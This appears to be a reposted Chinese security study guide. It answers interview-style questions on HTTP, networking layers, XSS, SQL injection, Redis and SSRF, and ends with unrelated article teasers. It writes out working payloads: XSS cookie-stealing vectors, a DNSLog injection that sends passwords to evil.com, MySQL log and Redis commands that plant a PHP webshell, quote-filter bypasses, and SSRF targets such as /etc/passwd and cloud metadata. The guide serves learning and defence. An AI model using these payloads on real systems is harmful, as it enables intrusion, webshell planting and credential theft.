安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

一、计算机网络基础

1. HTTP 状态码(502/503/501)

2. HTTP 请求方式及作用

3. 计算机网络分层及协议

二、OWASP Top 10 漏洞深度解析

1. XSS 代码执行原理

2. XSS 常用标签及载荷

3. HTTP Only 的作用

4. SQL 注入存在性判断

5. SQL 注入无回显绕过方案

6. MySQL 延时注入替代 Sleep

7. DNSLog 外带原理

8. 单引号拦截绕过技巧

9. MySQL 写 Shell 其他方式

10. Redis 未授权访问 Getshell

11. SSRF 利用链与协议

总结建议

# 基础
1. http状态码,502,503,501
2. http请求方式及各自作用
3. 计算机网络的分层及分别有哪些协议# owasp top 10
1. xss如何执行代码
2. xss常用哪些标签
3. http only
4. 怎样判断是否存在注入
5. sql注入无回显怎么办
6. 延时注入除了sleep的其他姿势(mysql)
7. dnslog的实现原理
8. sql注入,单引号被拦截,如何绕过
9. sql注入,写shell的语句,除了into outfile还有什么mysql的特性可以getshell
10.redis的利用,如何shell,相关命令
11.ssrf的原理即后利用,怎么执行命令,常搭配使用的协议

一、计算机网络基础

1. HTTP 状态码(502/503/501)
状态码含义常见场景
502Bad Gateway代理服务器无法从上游服务器获取有效响应(如 Nginx 后端服务崩溃)
503Service Unavailable服务暂时过载或维护中(需检查服务器负载或停机公告)
501Not Implemented服务器不支持请求的功能(如请求了未实现的 HTTP 方法)

2. HTTP 请求方式及作用
方法作用安全风险
GET获取资源(参数在 URL 中可见)敏感数据泄露、XSS 触发点
POST提交数据(表单/Create 操作)CSRF、SQL 注入主要入口
PUT替换或创建目标资源(常用于 RESTful)未授权覆盖文件风险
DELETE删除资源未验证权限导致任意删除
HEAD只获取响应头(用于探测)信息泄露(如 Server 版本)

ℹ️ 其他方法:OPTIONS(列出可用方法)、PATCH(局部更新)


3. 计算机网络分层及协议
分层协议示例关键功能
应用层HTTP/HTTPS, FTP, DNS, SMTP用户数据交互
传输层TCP(可靠), UDP(高速)端到端连接、流量控制
网络层IP, ICMP, ARP路由寻址、分组转发
数据链路层Ethernet, PPP, MAC物理寻址、帧同步
物理层RJ45, 光纤, IEEE 802.11(Wi-Fi)比特流传输

🌐 TCP/IP 简化模型:应用层 → 传输层 → 网络层 → 网络接口层


二、OWASP Top 10 漏洞深度解析

1. XSS 代码执行原理
  • 反射型:恶意脚本通过 URL 参数注入 → 服务端返回含脚本的页面 → 用户触发执行(如钓鱼链接)
  • 存储型:脚本存入数据库(如评论框) → 所有访问者加载页面时自动执行
  • DOM 型:前端 JavaScript 直接操作 DOM 树注入脚本(不经过服务端)
2. XSS 常用标签及载荷
html<script>alert(1)</script> <img src=x onerror=alert(1)> <svg/onload=prompt(document.cookie)> <a href="javascript:alert(1)">点击</a> <iframe src="javascript:alert(1)"> 

⚠️ 绕过技巧:使用 String.fromCharCode() 编码、<template> 标签、SVG 事件

3. HTTP Only 的作用
  • 设置 Cookie 属性:Set-Cookie: session=abc; HttpOnly
  • 阻断 XSS 窃取 Cookie:JavaScript 无法通过 document.cookie 读取标记为 HttpOnly 的 Cookie
4. SQL 注入存在性判断
  • 报错探测' / " 触发数据库语法错误(如 MySQL 的 You have an error...
  • 布尔盲注and 1=1 页面正常 vs and 1=2 页面异常
  • 时间盲注and sleep(5) 观察响应延迟
  • 联合查询order by 测列数 → union select null--
5. SQL 注入无回显绕过方案
方法原理工具支持
DNSLog利用域名解析外带数据(如 load_file()dnslog.cn
时间盲注条件语句触发延迟(if(1,sleep(5),0)SQLMap、Burp Intruder
Error-Based强制报错输出数据(如 extractvalue()polyglot 载荷
6. MySQL 延时注入替代 Sleep
sqlBENCHMARK(10000000, MD5('test')) -- CPU 计算延时 SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B -- 笛卡尔积延迟 GET_LOCK('x', 5) -- 需高权限 RLIKE '(a.*)*' -- 正则回溯耗尽资源 
7. DNSLog 外带原理
  1. 攻击者控制域名 evil.com
  2. 注入载荷:' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users), '.evil.com\\')) --
  3. 目标服务器解析 [data].evil.com → DNS 请求发送到攻击者服务器 → 数据被捕获
8. 单引号拦截绕过技巧
  • 十六进制编码SELECT * FROM users WHERE id=0x61646D696Eadmin 的 Hex)
  • 宽字节注入%bf%27 → GBK 编码中被解析为合法字符(如 縗'
  • 二次编码%2527 → 服务器解码后变为 %27(即 '
  • 模板字符串:MySQL 反引号 ` 代替引号(非标准语法)
9. MySQL 写 Shell 其他方式
sqlSET global general_log_file = '/var/www/shell.php'; SET global general_log = on; SELECT '<?php system($_GET[cmd]);?>'; -- 日志写入 

替代方案

  • 日志文件篡改:通过 secure_file_priv 配置写日志
  • UDF 提权:编译恶意 so 文件导出函数
  • 慢查询日志:利用 long_query_time 写入 PHP 代码
10. Redis 未授权访问 Getshell
bashredis-cli -h 目标IP config set dir /var/www/html # 设置 Web 目录 config set dbfilename shell.php # 设置文件名 set x "<?php system($_REQUEST[0]);?>" # 写入 Payload save # 持久化到文件 

⚡ 进阶利用:主从复制攻击(SLAVEOF)、模块加载(MODULE LOAD

11. SSRF 利用链与协议

攻击原理:诱使服务端发起内部网络请求(如 URL 参数操控)
高危协议

  • file://:读取本地文件(file:///etc/passwd
  • gopher://:构造任意 TCP 流量(可攻击 Redis/MySQL)
  • dict://:探测端口信息(dict://127.0.0.1:6379/info
    命令执行
  • 攻击内网脆弱服务(如未授权 Redis 的 eval 命令)
  • 云服务器元数据泄露(http://169.254.169.254/

总结建议

  • 防御方向:对所有输入输出严格过滤(白名单原则)、最小化权限分配、启用 WAF
  • 工具链:SQLMap(自动化注入)、Burp Collaborator(DNSLog 替代)、Gopherus(SSRF 利用生成)
  • 合规要求:敏感 Cookie 标记 HttpOnly + Secure、Redis 绑定 IP 且禁用远程修改配置

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/94934.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/94934.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/94934.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT5.15.2 - 安装时如果下载不了停了,需要加速

文章目录QT5.15.2 - 安装时如果下载不了停了&#xff0c;需要加速概述笔记安装的选项可用的国内镜像站点也有很多ENDQT5.15.2 - 安装时如果下载不了停了&#xff0c;需要加速 概述 在 https://download.qt.io/archive/online_installers 中找在线安装包。 用qt-online-instal…

着色器语言

以下是主流的几种着色器语言&#xff1a;1. HLSL (High-Level Shading Language)这是你在Unity中最主要、最应该学习的语言。开发方&#xff1a;微软 (Microsoft)主要应用平台&#xff1a;Unity、DirectX (Windows, Xbox)特点&#xff1a;语法与C语言非常相似&#xff0c;易于学…

VILA运行全程踩坑笔记

VILA运行全程踩坑笔记1. docker的尝试2. 本地部署服务端仓库地址&#xff1a;https://github.com/NVlabs/VILA 全文按照一路踩坑的时间顺序记录&#xff0c;不建议按照步骤一步一步来重复每一个踩坑的悲伤故事&#xff0c;不如先全部看完&#xff0c;再实际上手操作。 省流&am…

Python爬虫: 分布式爬虫架构讲解及实现

了解Python分布式爬虫框架及其实现,能让你在处理大规模数据采集时事半功倍。本文我会结合自己的知识,从核心原理、主流框架、关键技术到实践建议,为你提供一个详细的解读。 🧠 一、分布式爬虫核心原理 分布式爬虫的核心思想是将爬取任务分解,由多个爬虫节点(Worker)协…

君正T31学习(四)- MT7682+VLC出图

一、简介 前几篇文章介绍了如何通过SD卡来播放sensor录制的视频&#xff0c;但是效率很低&#xff0c;所以需要一种效率更高的方法&#xff0c;就是本篇的主角MT7682VLC。 Mt7682在系统中注册为一个以太网卡驱动&#xff0c;接口名为eth0&#xff0c;可以使用Linux通用的socket…

【办公自动化】如何使用Python库高效自动化处理图像?

在日常办公中&#xff0c;我们经常需要处理大量图像&#xff0c;如产品照片、营销素材、文档扫描件等。手动处理这些图像不仅耗时&#xff0c;还容易出错。通过Python自动化图像处理&#xff0c;我们可以高效地完成批量缩放、裁剪、加水印、格式转换等任务&#xff0c;大大提高…

Beats与Elasticsearch高效数据采集指南

Beats 是 Elastic Stack 中的数据采集器&#xff0c;用于从各种来源&#xff08;日志、指标、网络数据等&#xff09;轻量级收集数据&#xff0c;而 Elasticsearch 是搜索和分析引擎&#xff0c;负责存储、索引和快速检索数据。二者结合可搭建强大的数据分析管道&#xff08;如…

前端异常监控,性能监控,埋点,怎么做的

你想做的是一个 前端监控系统&#xff08;Frontend Monitoring / RUM, Real User Monitoring&#xff09;&#xff0c;主要包括&#xff1a;异常监控&#xff08;JS 报错、资源加载错误、Promise 未捕获异常&#xff09;性能监控&#xff08;白屏时间、首屏时间、页面加载时间、…

Kubernetes一EFK日志架构

前言&#xff1a;​ 在云原生时代&#xff0c;Kubernetes已成为容器编排的事实标准&#xff0c;它赋予了应用极高的弹性、可移植性和密度。然而&#xff0c;这种动态、瞬时的特性也带来了可观测性的新难题&#xff1a;当数以百计的Pod在节点间频繁创建和销毁时&#xff0c;传统…

Linux下的软件编程——网络编程(tcp)

重点&#xff1a;1.UDP和TCP区别2.TCP三次握手和四次挥手3.TCP粘包问题及解决办法4.TCP客户端和服务端的编程流程 TCP&#xff1a;传输层传输控制协议&#xff08;流式套接字&#xff09;1&#xff09;TCP的特点1.面向数据流2.有连接&#xff08;通信之前必须建立连接…

印度尼西亚数据源 PHP 对接文档

一、环境要求与配置 1. 系统要求 PHP ≥ 7.4扩展&#xff1a;cURL、JSON、OpenSSLComposer&#xff08;推荐&#xff09; 2. 安装依赖 composer require guzzlehttp/guzzle3. 基础配置类 <?php // config/StockTVConfig.php class StockTVConfig {const BASE_URL https://…

Maven核心用法

1.什么是Maven2.Maven的作用&#xff08;依赖管理、项目构建、统一的项目结构&#xff09;2.1 依赖管理2.2 项目构建2.3 统一的项目结构3.Maven的介绍IDEA中对应信息4.Maven的安装注意&#xff1a;需要解压到 没有中文 不带空格 的目录下5.IDEA中的Maven配置然后需要配置JD…

TypeScript:never类型

never类型是TypeScript中最特殊的类型之一&#xff0c;它表示永远不会发生的值。作为专业前端工程师&#xff0c;理解never类型对于编写类型安全的代码至关重要。1. never类型的核心概念定义&#xff1a;never类型表示永远不会出现的值&#xff0c;常见于&#xff1a;抛出错误的…

图数据库neo4j的安装

安装JDK Neo4j是基于Java的图形数据库&#xff0c;运行Neo4j需要启动JVM进程&#xff0c;因此必须安装JAVA SE的JDK。从Oracle官方网站下载 Java SE JDK&#xff0c;我的的版本是JDK8。 安装Neo4j 官网下载最新版本Neo4j 我下的是社区版的 Neo4j应用程序有如下主要的目录结构…

汽车诊断服务(UDS——0x27服务解析)

目录 1、服务概述 2、工作原理 3、常用的应用场景 4、子功能 5、请求与响应格式 5、1服务请求 5、2服务肯定响应 5、3服务否定响应 6、延时机制 1、服务概述 该服务对零部件中部分加密的服务进行解密工作安全访问的概念使用“种子”和“密钥”来实现 参数描述种子4字…

波兰密码破译机bomba:二战密码战的隐形功臣

本文由「大千AI助手」原创发布&#xff0c;专注用真话讲AI&#xff0c;回归技术本质。拒绝神话或妖魔化。搜索「大千AI助手」关注我&#xff0c;一起撕掉过度包装&#xff0c;学习真实的AI技术&#xff01; 从数学原理到机械奇迹&#xff0c;破解enigma的早期利器 ✨ 1. bomba概…

【RAGFlow代码详解-30】构建系统和 CI/CD

Docker 构建系统 RAGFlow 使用主 Dockerfile 1-214 中定义的复杂多阶段 Docker 构建过程&#xff0c;该过程创建应用程序的完整和精简变体。 多阶段构建架构Docker 构建过程 构建过程由 Dockerfile 2-214 中 定义的三个主要阶段组成&#xff1a;基础阶段 &#xff08; Dockerfi…

rust语言 (1.88) egui (0.32.1) 学习笔记(逐行注释)(十七)设置主题

设置主题set_visuals ctx.set_visuals(Visuals::dark()); 设置暗色主题ctx.set_visuals(Visuals::light()); 设置亮色主题 fn main() -> eframe::Result<()> {// 配置原生窗口参数let options eframe::NativeOptions::default();eframe::run_simple_native("主题…

Linux入门教程 第十五章 Linux 系统调优工具

文章目录一、系统调优概述与 CPU 负载查看1.使用 uptime 查看系统负载2.使用 top 按 CPU 使用率排序3.使用 ps 查看 CPU 使用最多的进程4.使用 mpstat 查看 CPU 详细状态一、查看内存运行状态1.使用 free 查看内存使用2.查看 /proc/meminfo 获取详细内存信息3.使用 top 按内存使…

【Docker基础】Docker-compose进阶配置:健康检查与服务就绪

目录 引言 1 Docker健康检查基础概念 1.1 什么是健康检查 1.2 健康检查的状态 2 healthcheck配置详解 2.1 基本语法 2.2 配置参数解释 2.3 健康检查命令的编写 2.4 健康检查的工作流程 3 服务依赖与健康检查 3.1 depends_on的基本用法 3.2 结合健康检查的依赖 3.3…